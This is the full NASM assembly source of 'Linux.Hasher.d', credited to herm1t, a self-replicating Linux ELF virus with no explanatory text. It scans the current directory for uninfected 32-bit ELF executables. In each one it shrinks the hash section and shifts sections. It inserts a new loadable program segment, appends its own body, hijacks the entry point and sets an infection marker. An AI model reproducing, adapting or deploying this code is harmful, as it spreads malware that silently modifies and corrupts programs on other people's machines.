Linux.Hasher.d
herm1t
%include 'inc/macro.inc' %include 'inc/system.inc' %define SHT_HASH 5 %define SHT_DYNAMIC 6 %define PT_NULL 0 %define PT_LOAD 1 %define PT_INTERP 3 %define PT_PHDR 6 ; variables %define old_esp [ebp + 0] %define dirent [ebp + 4] ; pointer to the dirent structure %define filename [ebp + 8] ; guess what? %define file_map [ebp + 12] %define file_handle [ebp + 16] %define file_length [ebp + 20] %define sht [ebp + 24] %define shash [ebp + 28] %define sdyn [ebp + 32] %define dynsym [ebp + 36] %define dynstr [ebp + 40] %define hash [ebp + 44] %define dynamic [ebp + 48] %define old_entry [ebp + 52] BITS 32 CPU 386 global _start section .text _start: push strict dword fake_host pusha mov ebx, esp sub esp, 512 mov ebp, esp lea eax, [esp + 128] mov dirent, eax mov old_esp, ebx lea eax, [eax + 10] mov filename, eax movb eax, SYS_open mov ebx, filename mov word [ebx], 0x2e movb ecx, 0 ; O_RDONLY int 0x80 ; open or eax, eax js .exit xchg eax, ebx .readdir: mov ecx, dirent movb eax, SYS_readdir int 0x80 dec eax jnz .close call infect jmp .readdir .close: movb eax, SYS_close int 0x80 .exit: mov esp, old_esp popa ret infect: pusha ; open(filename, 2) movb eax, SYS_open mov ebx, filename movb ecx, 2 int 0x80 or eax, eax js return mov file_handle, eax xchg eax, ebx ; lseek(h, 0, 2) movb eax, SYS_lseek movb ecx, 0 movb edx, 2 int 0x80 cmp eax, 1024 jb close mov file_length, eax xchg eax, edx ; mmap(NULL,length,PROT_READ|PROT_WRITE,MAP_SHARED,handle,offset) push ebx mpush 0, ebx, 1, 3, edx, 0 movb eax, SYS_mmap mov ebx, esp int 0x80 add esp, byte 24 cmp eax, 0xfffff000 pop ebx ja close xchg eax, esi mov file_map, esi ; Check ELF header cmp dword [esi], 0x464c457f ; ELF file? jne unmap cmp dword [esi + 16], 0x00030002 ; e_type == ET_EXEC && jne unmap ; e_machine == EM_386 cmp byte [esi + 15], 0 ; already infected? jne unmap mov al, [esi + 7] ; e_ident[EI_OSABI] cmp al, 3 ; Linux? je ok cmp al, 0 ; None? ;-) je ok unmap: movb eax, SYS_munmap mov ebx, file_map mov ecx, file_length int 0x80 close: movb eax, SYS_close mov ebx, file_handle int 0x80 return: popa ret ok: xor eax, eax mov shash, eax mov sdyn, eax mov edi, [esi + e_shoff] add edi, esi mov sht, edi movzx ecx, word [esi + e_shnum] .ls: cmp dword [edi + sh_type], SHT_HASH jne .l1 mov shash, edi .l1: cmp dword [edi + sh_type], SHT_DYNAMIC jne .l2 mov sdyn, edi .l2: add edi, 40 loop .ls mov eax, shash and eax, sdyn jz unmap mov eax, sht mov ebx, shash mov edx, [ebx + sh_offset] add edx, esi mov hash, edx ; hash (ptr) mov ebx, [ebx + sh_link] lea ebx, [ebx * 4 + ebx] lea ebx, [eax + ebx * 8] ; dynsym (ptr) mov ecx, [ebx + sh_offset] add ecx, esi mov dynsym, ecx mov ecx, [ebx + sh_link] lea ecx, [ecx * 4 + ecx] lea ecx, [eax + ecx * 8] ; dynstr (ptr) mov ecx, [ecx + sh_offset] add ecx, esi mov dynstr, ecx mov eax, sdyn mov eax, [eax + sh_offset] add eax, esi mov dynamic, eax mov edi, hash mov ebx, [edi + 0] ; nbuckets mov edx, [edi + 4] ; nchains cmp ebx, 9 jb unmap ; clean hash and build new hash mov ecx, shash mov ecx, [ecx + sh_size] xor eax, eax cld rep stosb sub ebx, 8 push dword dynstr push dword dynsym push edx push ebx push dword hash call build_hash ; move sections mov edi, shash movb ebx, 32 ; fix hash size sub [edi + sh_size], ebx .ms: mov eax, [edi + sh_size] push eax mov eax, [edi + sh_offset] add eax, esi push eax add eax, ebx push eax call memmove ; fix PHDR mov edx, [esi + e_phoff] add edx, esi movzx ecx, word [esi + e_phnum] .p0: mov eax, [edx + p_vaddr] cmp eax, [edi + sh_addr] jne .p1 add [edx + p_vaddr], ebx add [edx + p_paddr], ebx add [edx + p_offset], ebx jmp .p2 .p1: add edx, ebx loop .p0 ; fix DYNAMIC .p2: mov edx, dynamic .d0: mov eax, [edx] or eax, eax jz .d2 mov eax, [edi + sh_addr] cmp [edx + 4], eax jne .d1 add [edx + 4], ebx .d1: add edx, 8 jmp .d0 .d2: add [edi + sh_addr], ebx add [edi + sh_offset], ebx sub edi, 40 cmp edi, sht ja .ms ; insert new entry to PHT xor ebx, ebx dec ebx ; t xor edx, edx ; u mov edi, [esi + e_phoff] add edi, esi movzx ecx, word [esi + e_phnum] .m0: mov eax, [edi + p_vaddr] or eax, eax jz .m1 cmp eax, ebx jae .m1 mov ebx, eax .m1: cmp dword [edi + p_type], PT_LOAD jne .m2 movzx edx, word [esi + e_phnum] sub edx, ecx .m2: cmp dword [edi + p_type], PT_PHDR jne .m3 mov eax, 32 add [edi + p_filesz], eax add [edi + p_memsz], eax .m3: add edi, 32 loop .m0 mov eax, ebx not eax and eax, edx jz unmap inc word [esi + e_phnum] mov edi, [esi + e_phoff] add edi, esi movzx eax, word [esi + e_phnum] sub eax, edx dec eax shl eax, 5 push eax inc edx shl edx, 5 lea eax, [edi + edx] mov edi, eax ;ph push eax add eax, 32 push eax call memmove ; fill PHT entry mov dword [edi + p_type], PT_LOAD mov dword [edi + p_flags], 5 ;PF_R|PF_X mov dword [edi + p_align], 0x1000 mov eax, file_length mov dword [edi + p_offset], eax mov ecx, _size mov dword [edi + p_filesz], ecx mov dword [edi + p_memsz], ecx sub ebx, 8192 and eax, 8191 add ebx, eax mov dword [edi + p_vaddr], ebx mov dword [edi + p_paddr], ebx ; save old entry point and set the new one mov eax, [esi + e_entry] mov old_entry, eax mov [esi + e_entry], ebx ; mark file as infected and write body inc byte [esi + 15] ; infection mark pusha cld mov ecx, 4096 sub esp, ecx mov edi, esp movb eax, 0x90 rep stosb mov edi, esp mov ecx, _size mov esi, strict dword _start _self equ $-_start-4 rep movsb mov eax, old_entry mov [esp + 1], eax ; save old entry mov [esp + _self], ebx ; save new entry mov eax, 4 mov ebx, file_handle mov ecx, esp mov edx, 4096 int 0x80 ; write body add esp, edx popa jmp unmap elf_hash: pusha cld xor eax, eax xor edx, edx ; edx - h mov esi, [esp + 36] ; name .next: lodsb or eax, eax jz .done shl edx, 4 add edx, eax mov ebx, edx and ebx, 0xf0000000 jz .skip mov ecx, ebx shr ecx, 24 xor edx, ecx .skip: not ebx and edx, ebx jmp .next .done: mov [esp + 28], edx popa retn 4 build_hash: pusha cld mov edi, [esp + 36] ; hash mov eax, [esp + 40] ; nbuckets stosd xchg eax, ecx mov eax, [esp + 44] ; nchains stosd xchg eax, ebp lea esi, [edi + ecx * 4] ; chains xor ebx, ebx inc ebx .for: mov eax, [esp + 48] ; sym mov edx, ebx shl edx, 4 ; edx = i * sizeof(Elf32_Sym) mov eax, [eax + edx] ; sym[i].st_name add eax, [esp + 52] ; str push eax call elf_hash ; eax - h xor edx, edx div ecx ; edx = elf_hash(str + sym[i].st_name) % nbuckets; mov eax, [edi + edx * 4] or eax, eax jnz .else mov [edi + edx * 4], ebx jmp .endif .else: mov edx, [edi + edx * 4] .while: mov eax, [esi + edx * 4] or eax, eax jz .end_while mov edx, [esi + edx * 4] jmp .while .end_while: mov [esi + edx * 4], ebx .endif: inc ebx cmp ebx, ebp jb .for popa retn 20 memmove: pusha mov edi, [esp + 36] mov esi, [esp + 40] mov ecx, [esp + 44] mov eax, edi sub eax, esi cmp eax, ecx jb .down cld rep movsb jmp .done .down: std lea esi, [esi + ecx - 1] lea edi, [edi + ecx - 1] rep movsb .done: popa retn 12 _size equ $-_start fake_host: mov eax,1 int 0x80 section .data